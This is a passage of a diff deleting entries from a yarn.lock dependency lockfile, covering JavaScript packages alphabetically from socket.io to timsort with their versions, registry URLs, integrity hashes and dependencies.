-integrity sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==
-dependencies:
-base "^0.11.1"
-debug "^2.2.0"
-define-property "^0.2.5"
-extend-shallow "^2.0.1"
-map-cache "^0.2.2"
-source-map "^0.5.6"
-source-map-resolve "^0.5.0"
-use "^3.1.0"
-
-socket.io-adapter@~1.1.0:
-version "1.1.2"
-resolved "https://registry.yarnpkg.com/socket.io-adapter/-/socket.io-adapter-1.1.2.tgz#ab3f0d6f66b8fc7fca3959ab5991f82221789be9"
-integrity sha512-WzZRUj1kUjrTIrUKpZLEzFZ1OLj5FwLlAFQs9kuZJzJi5DKdU7FsWc36SNmA8iDOtwBQyT8FkrriRM8vXLYz8g==
-
-socket.io-client@2.3.0:
-version "2.3.0"
-resolved "https://registry.yarnpkg.com/socket.io-client/-/socket.io-client-2.3.0.tgz#14d5ba2e00b9bcd145ae443ab96b3f86cbcc1bb4"
-integrity sha512-cEQQf24gET3rfhxZ2jJ5xzAOo/xhZwK+mOqtGRg5IowZsMgwvHwnf/mCRapAAkadhM26y+iydgwsXGObBB5ZdA==
-dependencies:
-backo2 "1.0.2"
-base64-arraybuffer "0.1.5"
-component-bind "1.0.0"
-component-emitter "1.2.1"
-debug "~4.1.0"
-engine.io-client "~3.4.0"
-has-binary2 "~1.0.2"
-has-cors "1.1.0"
-indexof "0.0.1"
-object-component "0.0.3"
-parseqs "0.0.5"
-parseuri "0.0.5"
-socket.io-parser "~3.3.0"
-to-array "0.1.4"
-
-socket.io-parser@~3.3.0:
-version "3.3.0"
-resolved "https://registry.yarnpkg.com/socket.io-parser/-/socket.io-parser-3.3.0.tgz#2b52a96a509fdf31440ba40fed6094c7d4f1262f"
-integrity sha512-hczmV6bDgdaEbVqhAeVMM/jfUfzuEZHsQg6eOmLgJht6G3mPKMxYm75w2+qhAQZ+4X+1+ATZ+QFKeOZD5riHng==
-dependencies:
-component-emitter "1.2.1"
-debug "~3.1.0"
-isarray "2.0.1"
-
-socket.io-parser@~3.4.0:
-version "3.4.1"
-resolved "https://registry.yarnpkg.com/socket.io-parser/-/socket.io-parser-3.4.1.tgz#b06af838302975837eab2dc980037da24054d64a"
-integrity sha512-11hMgzL+WCLWf1uFtHSNvliI++tcRUWdoeYuwIl+Axvwy9z2gQM+7nJyN3STj1tLj5JyIUH8/gpDGxzAlDdi0A==
-dependencies:
-component-emitter "1.2.1"
-debug "~4.1.0"
-isarray "2.0.1"
-
-socket.io@^2.1.1:
-version "2.3.0"
-resolved "https://registry.yarnpkg.com/socket.io/-/socket.io-2.3.0.tgz#cd762ed6a4faeca59bc1f3e243c0969311eb73fb"
-integrity sha512-2A892lrj0GcgR/9Qk81EaY2gYhCBxurV0PfmmESO6p27QPrUK1J3zdns+5QPqvUYK2q657nSj0guoIil9+7eFg==
-dependencies:
-debug "~4.1.0"
-engine.io "~3.4.0"
-has-binary2 "~1.0.2"
-socket.io-adapter "~1.1.0"
-socket.io-client "2.3.0"
-socket.io-parser "~3.4.0"
-
-source-map-resolve@^0.5.0:
-version "0.5.3"
-resolved "https://registry.yarnpkg.com/source-map-resolve/-/source-map-resolve-0.5.3.tgz#190866bece7553e1f8f267a2ee82c606b5509a1a"
-integrity sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==
-dependencies:
-atob "^2.1.2"
-decode-uri-component "^0.2.0"
-resolve-url "^0.2.1"
-source-map-url "^0.4.0"
-urix "^0.1.0"
-
-source-map-support@^0.5.6, source-map-support@~0.5.10, source-map-support@~0.5.12:
-version "0.5.19"
-resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.19.tgz#a98b62f86dcaf4f67399648c085291ab9e8fed61"
-integrity sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==
-dependencies:
-buffer-from "^1.0.0"
-source-map "^0.6.0"
-
-source-map-url@^0.4.0:
-version "0.4.0"
-resolved "https://registry.yarnpkg.com/source-map-url/-/source-map-url-0.4.0.tgz#3e935d7ddd73631b97659956d55128e87b5084a3"
-integrity sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=
-
-source-map@0.6.1, source-map@^0.6.0, source-map@^0.6.1, source-map@~0.6.0, source-map@~0.6.1:
-version "0.6.1"
-resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
-integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
-
-source-map@^0.5.0, source-map@^0.5.6:
-version "0.5.7"
-resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
-integrity sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=
-
-source-map@^0.7.3:
-version "0.7.3"
-resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.7.3.tgz#5302f8169031735226544092e64981f751750383"
-integrity sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==
-
-spdx-correct@^3.0.0:
-version "3.1.1"
-resolved "https://registry.yarnpkg.com/spdx-correct/-/spdx-correct-3.1.1.tgz#dece81ac9c1e6713e5f7d1b6f17d468fa53d89a9"
-integrity sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==
-dependencies:
-spdx-expression-parse "^3.0.0"
-spdx-license-ids "^3.0.0"
-
-spdx-exceptions@^2.1.0:
-version "2.3.0"
-resolved "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz#3f28ce1a77a00372683eade4a433183527a2163d"
-integrity sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==
-
-spdx-expression-parse@^3.0.0:
-version "3.0.1"
-resolved "https://registry.yarnpkg.com/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz#cf70f50482eefdc98e3ce0a6833e4a53ceeba679"
-integrity sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==
-dependencies:
-spdx-exceptions "^2.1.0"
-spdx-license-ids "^3.0.0"
-
-spdx-license-ids@^3.0.0:
-version "3.0.5"
-resolved "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.5.tgz#3694b5804567a458d3c8045842a6358632f62654"
-integrity sha512-J+FWzZoynJEXGphVIS+XEh3kFSjZX/1i9gFBaWQcB+/tmpe2qUsSBABpcxqxnAxFdiUFEgAX1bjYGQvIZmoz9Q==
-
-split-string@^3.0.1, split-string@^3.0.2:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/split-string/-/split-string-3.1.0.tgz#7cb09dda3a86585705c64b39a6466038682e8fe2"
-integrity sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==
-dependencies:
-extend-shallow "^3.0.0"
-
-sprintf-js@~1.0.2:
-version "1.0.3"
-resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
-integrity sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=
-
-sshpk@^1.7.0:
-version "1.16.1"
-resolved "https://registry.yarnpkg.com/sshpk/-/sshpk-1.16.1.tgz#fb661c0bef29b39db40769ee39fa70093d6f6877"
-integrity sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==
-dependencies:
-asn1 "~0.2.3"
-assert-plus "^1.0.0"
-bcrypt-pbkdf "^1.0.0"
-dashdash "^1.12.0"
-ecc-jsbn "~0.1.1"
-getpass "^0.1.1"
-jsbn "~0.1.0"
-safer-buffer "^2.0.2"
-tweetnacl "~0.14.0"
-
-stable@^0.1.8:
-version "0.1.8"
-resolved "https://registry.yarnpkg.com/stable/-/stable-0.1.8.tgz#836eb3c8382fe2936feaf544631017ce7d47a3cf"
-integrity sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==
-
-stack-utils@^2.0.2:
-version "2.0.2"
-resolved "https://registry.yarnpkg.com/stack-utils/-/stack-utils-2.0.2.tgz#5cf48b4557becb4638d0bc4f21d23f5d19586593"
-integrity sha512-0H7QK2ECz3fyZMzQ8rH0j2ykpfbnd20BFtfg/SqVC2+sCTtcw0aDTGB7dk+de4U4uUeuz6nOtJcrkFFLG1B0Rg==
-dependencies:
-escape-string-regexp "^2.0.0"
-
-static-eval@^2.0.0:
-version "2.0.5"
-resolved "https://registry.yarnpkg.com/static-eval/-/static-eval-2.0.5.tgz#f0782e66999c4b3651cda99d9ce59c507d188f71"
-integrity sha512-nNbV6LbGtMBgv7e9LFkt5JV8RVlRsyJrphfAt9tOtBBW/SfnzZDf2KnS72an8e434A+9e/BmJuTxeGPvrAK7KA==
-dependencies:
-escodegen "^1.11.1"
-
-static-extend@^0.1.1:
-version "0.1.2"
-resolved "https://registry.yarnpkg.com/static-extend/-/static-extend-0.1.2.tgz#60809c39cbff55337226fd5e0b520f341f1fb5c6"
-integrity sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=
-dependencies:
-define-property "^0.2.5"
-object-copy "^0.1.0"
-
-static-module@^2.2.0:
-version "2.2.5"
-resolved "https://registry.yarnpkg.com/static-module/-/static-module-2.2.5.tgz#bd40abceae33da6b7afb84a0e4329ff8852bfbbf"
-integrity sha512-D8vv82E/Kpmz3TXHKG8PPsCPg+RAX6cbCOyvjM6x04qZtQ47EtJFVwRsdov3n5d6/6ynrOY9XB4JkaZwB2xoRQ==
-dependencies:
-concat-stream "~1.6.0"
-convert-source-map "^1.5.1"
-duplexer2 "~0.1.4"
-escodegen "~1.9.0"
-falafel "^2.1.0"
-has "^1.0.1"
-magic-string "^0.22.4"
-merge-source-map "1.0.4"
-object-inspect "~1.4.0"
-quote-stream "~1.0.2"
-readable-stream "~2.3.3"
-shallow-copy "~0.0.1"
-static-eval "^2.0.0"
-through2 "~2.0.3"
-
-"statuses@>= 1.5.0 < 2", statuses@~1.5.0:
-version "1.5.0"
-resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c"
-integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=
-
-stealthy-require@^1.1.1:
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/stealthy-require/-/stealthy-require-1.1.1.tgz#35b09875b4ff49f26a777e509b3090a3226bf24b"
-integrity sha1-NbCYdbT/SfJqd35QmzCQoyJr8ks=
-
-storyboard-core@^3.2.0:
-version "3.2.0"
-resolved "https://registry.yarnpkg.com/storyboard-core/-/storyboard-core-3.2.0.tgz#6765e2c71bdc5b8ed1db52faf896df43461bca7c"
-integrity sha512-v2p3SDYi22go1oLrJPnsiwXgSsjqKL6oryy9B3rz2UEpLwqWArjUoaECciD+/sfwJFJs1etIjUbE4tBx2G+adQ==
-dependencies:
-chalk "1.x"
-lodash "^4.17.10"
-platform "1.3.3"
-semver "^5.3.0"
-timm "^1.6.1"
-uuid "^3.0.1"
-
-storyboard-listener-console@^3.1.1:
-version "3.1.4"
-resolved "https://registry.yarnpkg.com/storyboard-listener-console/-/storyboard-listener-console-3.1.4.tgz#165c23629721a0327b181d4b926bc2d9787eb661"
-integrity sha512-zP2x0XKXHXGYrz4/RS4kxMp/4JqEvREV3rdkfbb6uqGld9gPKNqAdRDLQPN7cJRycTipTt+qew7RFGDTIVSIVA==
-dependencies:
-timm "^1.6.1"
-
-storyboard-preset-console@^3.1.4:
-version "3.1.4"
-resolved "https://registry.yarnpkg.com/storyboard-preset-console/-/storyboard-preset-console-3.1.4.tgz#07c8c2aa7218739505663684ffb4f4b1b2a5f35f"
-integrity sha512-w2JxIj5V6fLLlAeU3/EcsOcL2PdgnRbPrT0iwlqxPJxU7ROaVPfE4uJblfmgGSfDEuYd666gb0MDMOxw8OPSZQ==
-dependencies:
-storyboard-listener-console "^3.1.1"
-
-storyboard@^3.1.4:
-version "3.2.1"
-resolved "https://registry.yarnpkg.com/storyboard/-/storyboard-3.2.1.tgz#6a86d60d6693cffa74e341e6aca6319a980c896b"
-integrity sha512-p3jUJbVXPooAijw4EF4nSEMAziC2N0sEbGcGKdoS2tgb39Y13TSk2y7OLSAOirikPvvcMRlSpKNVYDKMumwkKw==
-dependencies:
-storyboard-core "^3.2.0"
-
-stream-browserify@^2.0.1:
-version "2.0.2"
-resolved "https://registry.yarnpkg.com/stream-browserify/-/stream-browserify-2.0.2.tgz#87521d38a44aa7ee91ce1cd2a47df0cb49dd660b"
-integrity sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg==
-dependencies:
-inherits "~2.0.1"
-readable-stream "^2.0.2"
-
-stream-http@^2.7.2:
-version "2.8.3"
-resolved "https://registry.yarnpkg.com/stream-http/-/stream-http-2.8.3.tgz#b2d242469288a5a27ec4fe8933acf623de6514fc"
-integrity sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==
-dependencies:
-builtin-status-codes "^3.0.0"
-inherits "^2.0.1"
-readable-stream "^2.3.6"
-to-arraybuffer "^1.0.0"
-xtend "^4.0.0"
-
-string-hash@^1.1.1:
-version "1.1.3"
-resolved "https://registry.yarnpkg.com/string-hash/-/string-hash-1.1.3.tgz#e8aafc0ac1855b4666929ed7dd1275df5d6c811b"
-integrity sha1-6Kr8CsGFW0Zmkp7X3RJ1311sgRs=
-
-string-length@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/string-length/-/string-length-4.0.1.tgz#4a973bf31ef77c4edbceadd6af2611996985f8a1"
-integrity sha512-PKyXUd0LK0ePjSOnWn34V2uD6acUWev9uy0Ft05k0E8xRW+SKcA0F7eMr7h5xlzfn+4O3N+55rduYyet3Jk+jw==
-dependencies:
-char-regex "^1.0.2"
-strip-ansi "^6.0.0"
-
-string-width@^3.0.0, string-width@^3.1.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/string-width/-/string-width-3.1.0.tgz#22767be21b62af1081574306f69ac51b62203961"
-integrity sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==
-dependencies:
-emoji-regex "^7.0.1"
-is-fullwidth-code-point "^2.0.0"
-strip-ansi "^5.1.0"
-
-string-width@^4.1.0, string-width@^4.2.0:
-version "4.2.0"
-resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.0.tgz#952182c46cc7b2c313d1596e623992bd163b72b5"
-integrity sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==
-dependencies:
-emoji-regex "^8.0.0"
-is-fullwidth-code-point "^3.0.0"
-strip-ansi "^6.0.0"
-
-string.prototype.padend@^3.0.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/string.prototype.padend/-/string.prototype.padend-3.1.0.tgz#dc08f57a8010dc5c153550318f67e13adbb72ac3"
-integrity sha512-3aIv8Ffdp8EZj8iLwREGpQaUZiPyrWrpzMBHvkiSW/bK/EGve9np07Vwy7IJ5waydpGXzQZu/F8Oze2/IWkBaA==
-dependencies:
-define-properties "^1.1.3"
-es-abstract "^1.17.0-next.1"
-
-string.prototype.trimend@^1.0.0:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.1.tgz#85812a6b847ac002270f5808146064c995fb6913"
-integrity sha512-LRPxFUaTtpqYsTeNKaFOw3R4bxIzWOnbQ837QfBylo8jIxtcbK/A/sMV7Q+OAV/vWo+7s25pOE10KYSjaSO06g==
-dependencies:
-define-properties "^1.1.3"
-es-abstract "^1.17.5"
-
-string.prototype.trimleft@^2.1.1:
-version "2.1.2"
-resolved "https://registry.yarnpkg.com/string.prototype.trimleft/-/string.prototype.trimleft-2.1.2.tgz#4408aa2e5d6ddd0c9a80739b087fbc067c03b3cc"
-integrity sha512-gCA0tza1JBvqr3bfAIFJGqfdRTyPae82+KTnm3coDXkZN9wnuW3HjGgN386D7hfv5CHQYCI022/rJPVlqXyHSw==
-dependencies:
-define-properties "^1.1.3"
-es-abstract "^1.17.5"
-string.prototype.trimstart "^1.0.0"
-
-string.prototype.trimright@^2.1.1:
-version "2.1.2"
-resolved "https://registry.yarnpkg.com/string.prototype.trimright/-/string.prototype.trimright-2.1.2.tgz#c76f1cef30f21bbad8afeb8db1511496cfb0f2a3"
-integrity sha512-ZNRQ7sY3KroTaYjRS6EbNiiHrOkjihL9aQE/8gfQ4DtAC/aEBRHFJa44OmoWxGGqXuJlfKkZW4WcXErGr+9ZFg==
-dependencies:
-define-properties "^1.1.3"
-es-abstract "^1.17.5"
-string.prototype.trimend "^1.0.0"
-
-string.prototype.trimstart@^1.0.0:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.1.tgz#14af6d9f34b053f7cfc89b72f8f2ee14b9039a54"
-integrity sha512-XxZn+QpvrBI1FOcg6dIpxUPgWCPuNXvMD72aaRaUQv1eD4e/Qy8i/hFTe0BUmD60p/QA6bh1avmuPTfNjqVWRw==
-dependencies:
-define-properties "^1.1.3"
-es-abstract "^1.17.5"
-
-string_decoder@^1.0.0, string_decoder@^1.1.1:
-version "1.3.0"
-resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
-integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
-dependencies:
-safe-buffer "~5.2.0"
-
-string_decoder@~1.1.1:
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
-integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
-dependencies:
-safe-buffer "~5.1.0"
-
-strip-ansi@^3.0.0:
-version "3.0.1"
-resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-3.0.1.tgz#6a385fb8853d952d5ff05d0e8aaf94278dc63dcf"
-integrity sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=
-dependencies:
-ansi-regex "^2.0.0"
-
-strip-ansi@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-4.0.0.tgz#a8479022eb1ac368a871389b635262c505ee368f"
-integrity sha1-qEeQIusaw2iocTibY1JixQXuNo8=
-dependencies:
-ansi-regex "^3.0.0"
-
-strip-ansi@^5.0.0, strip-ansi@^5.1.0, strip-ansi@^5.2.0:
-version "5.2.0"
-resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-5.2.0.tgz#8c9a536feb6afc962bdfa5b104a5091c1ad9c0ae"
-integrity sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==
-dependencies:
-ansi-regex "^4.1.0"
-
-strip-ansi@^6.0.0:
-version "6.0.0"
-resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.0.tgz#0b1571dd7669ccd4f3e06e14ef1eed26225ae532"
-integrity sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==
-dependencies:
-ansi-regex "^5.0.0"
-
-strip-bom@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-3.0.0.tgz#2334c18e9c759f7bdd56fdef7e9ae3d588e68ed3"
-integrity sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=
-
-strip-bom@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-4.0.0.tgz#9c3505c1db45bcedca3d9cf7a16f5c5aa3901878"
-integrity sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==
-
-strip-eof@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/strip-eof/-/strip-eof-1.0.0.tgz#bb43ff5598a6eb05d89b59fcd129c983313606bf"
-integrity sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=
-
-strip-final-newline@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz#89b852fb2fcbe936f6f4b3187afb0a12c1ab58ad"
-integrity sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==
-
-stylehacks@^4.0.0:
-version "4.0.3"
-resolved "https://registry.yarnpkg.com/stylehacks/-/stylehacks-4.0.3.tgz#6718fcaf4d1e07d8a1318690881e8d96726a71d5"
-integrity sha512-7GlLk9JwlElY4Y6a/rmbH2MhVlTyVmiJd1PfTCqFaIBEGMYNsrO/v3SeGTdhBThLg4Z+NbOk/qFMwCa+J+3p/g==
-dependencies:
-browserslist "^4.0.0"
-postcss "^7.0.0"
-postcss-selector-parser "^3.0.0"
-
-supports-color@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-2.0.0.tgz#535d045ce6b6363fa40117084629995e9df324c7"
-integrity sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=
-
-supports-color@^3.2.3:
-version "3.2.3"
-resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-3.2.3.tgz#65ac0504b3954171d8a64946b2ae3cbb8a5f54f6"
-integrity sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=
-dependencies:
-has-flag "^1.0.0"
-
-supports-color@^5.3.0, supports-color@^5.4.0:
-version "5.5.0"
-resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
-integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
-dependencies:
-has-flag "^3.0.0"
-
-supports-color@^6.1.0:
-version "6.1.0"
-resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-6.1.0.tgz#0764abc69c63d5ac842dd4867e8d025e880df8f3"
-integrity sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==
-dependencies:
-has-flag "^3.0.0"
-
-supports-color@^7.0.0, supports-color@^7.1.0:
-version "7.1.0"
-resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.1.0.tgz#68e32591df73e25ad1c4b49108a2ec507962bfd1"
-integrity sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==
-dependencies:
-has-flag "^4.0.0"
-
-supports-hyperlinks@^2.0.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/supports-hyperlinks/-/supports-hyperlinks-2.1.0.tgz#f663df252af5f37c5d49bbd7eeefa9e0b9e59e47"
-integrity sha512-zoE5/e+dnEijk6ASB6/qrK+oYdm2do1hjoLWrqUC/8WEIW1gbxFcKuBof7sW8ArN6e+AYvsE8HBGiVRWL/F5CA==
-dependencies:
-has-flag "^4.0.0"
-supports-color "^7.0.0"
-
-svgo@^1.0.0, svgo@^1.3.2:
-version "1.3.2"
-resolved "https://registry.yarnpkg.com/svgo/-/svgo-1.3.2.tgz#b6dc511c063346c9e415b81e43401145b96d4167"
-integrity sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==
-dependencies:
-chalk "^2.4.1"
-coa "^2.0.2"
-css-select "^2.0.0"
-css-select-base-adapter "^0.1.1"
-css-tree "1.0.0-alpha.37"
-csso "^4.0.2"
-js-yaml "^3.13.1"
-mkdirp "~0.5.1"
-object.values "^1.1.0"
-sax "~1.2.4"
-stable "^0.1.8"
-unquote "~1.1.1"
-util.promisify "~1.0.0"
-
-symbol-tree@^3.2.2, symbol-tree@^3.2.4:
-version "3.2.4"
-resolved "https://registry.yarnpkg.com/symbol-tree/-/symbol-tree-3.2.4.tgz#430637d248ba77e078883951fb9aa0eed7c63fa2"
-integrity sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==
-
-terminal-link@^2.0.0:
-version "2.1.1"
-resolved "https://registry.yarnpkg.com/terminal-link/-/terminal-link-2.1.1.tgz#14a64a27ab3c0df933ea546fba55f2d078edc994"
-integrity sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==
-dependencies:
-ansi-escapes "^4.2.1"
-supports-hyperlinks "^2.0.0"
-
-terser@^3.7.3:
-version "3.17.0"
-resolved "https://registry.yarnpkg.com/terser/-/terser-3.17.0.tgz#f88ffbeda0deb5637f9d24b0da66f4e15ab10cb2"
-integrity sha512-/FQzzPJmCpjAH9Xvk2paiWrFq+5M6aVOf+2KRbwhByISDX/EujxsK+BAvrhb6H+2rtrLCHK9N01wO014vrIwVQ==
-dependencies:
-commander "^2.19.0"
-source-map "~0.6.1"
-source-map-support "~0.5.10"
-
-terser@^4.3.9:
-version "4.7.0"
-resolved "https://registry.yarnpkg.com/terser/-/terser-4.7.0.tgz#15852cf1a08e3256a80428e865a2fa893ffba006"
-integrity sha512-Lfb0RiZcjRDXCC3OSHJpEkxJ9Qeqs6mp2v4jf2MHfy8vGERmVDuvjXdd/EnP5Deme5F2yBRBymKmKHCBg2echw==
-dependencies:
-commander "^2.20.0"
-source-map "~0.6.1"
-source-map-support "~0.5.12"
-
-test-exclude@^6.0.0:
-version "6.0.0"
-resolved "https://registry.yarnpkg.com/test-exclude/-/test-exclude-6.0.0.tgz#04a8698661d805ea6fa293b6cb9e63ac044ef15e"
-integrity sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==
-dependencies:
-"@istanbuljs/schema" "^0.1.2"
-glob "^7.1.4"
-minimatch "^3.0.4"
-
-throat@^5.0.0:
-version "5.0.0"
-resolved "https://registry.yarnpkg.com/throat/-/throat-5.0.0.tgz#c5199235803aad18754a667d659b5e72ce16764b"
-integrity sha512-fcwX4mndzpLQKBS1DVYhGAcYaYt7vsHNIvQV+WXMvnow5cgjPphq5CaayLaGsjRdSCKZFNGt7/GYAuXaNOiYCA==
-
-through2@^2.0.0, through2@~2.0.3:
-version "2.0.5"
-resolved "https://registry.yarnpkg.com/through2/-/through2-2.0.5.tgz#01c1e39eb31d07cb7d03a96a70823260b23132cd"
-integrity sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==
-dependencies:
-readable-stream "~2.3.6"
-xtend "~4.0.1"
-
-timers-browserify@^2.0.4:
-version "2.0.11"
-resolved "https://registry.yarnpkg.com/timers-browserify/-/timers-browserify-2.0.11.tgz#800b1f3eee272e5bc53ee465a04d0e804c31211f"
-integrity sha512-60aV6sgJ5YEbzUdn9c8kYGIqOubPoUdqQCul3SBAsRCZ40s6Y5cMcrW4dt3/k/EsbLVJNl9n6Vz3fTc+k2GeKQ==
-dependencies:
-setimmediate "^1.0.4"
-
-timm@^1.6.1:
-version "1.6.2"
-resolved "https://registry.yarnpkg.com/timm/-/timm-1.6.2.tgz#dfd8c6719f7ba1fcfc6295a32670a1c6d166c0bd"
-integrity sha512-IH3DYDL1wMUwmIlVmMrmesw5lZD6N+ZOAFWEyLrtpoL9Bcrs9u7M/vyOnHzDD2SMs4irLkVjqxZbHrXStS/Nmw==
-
-timsort@^0.3.0:
-version "0.3.0"
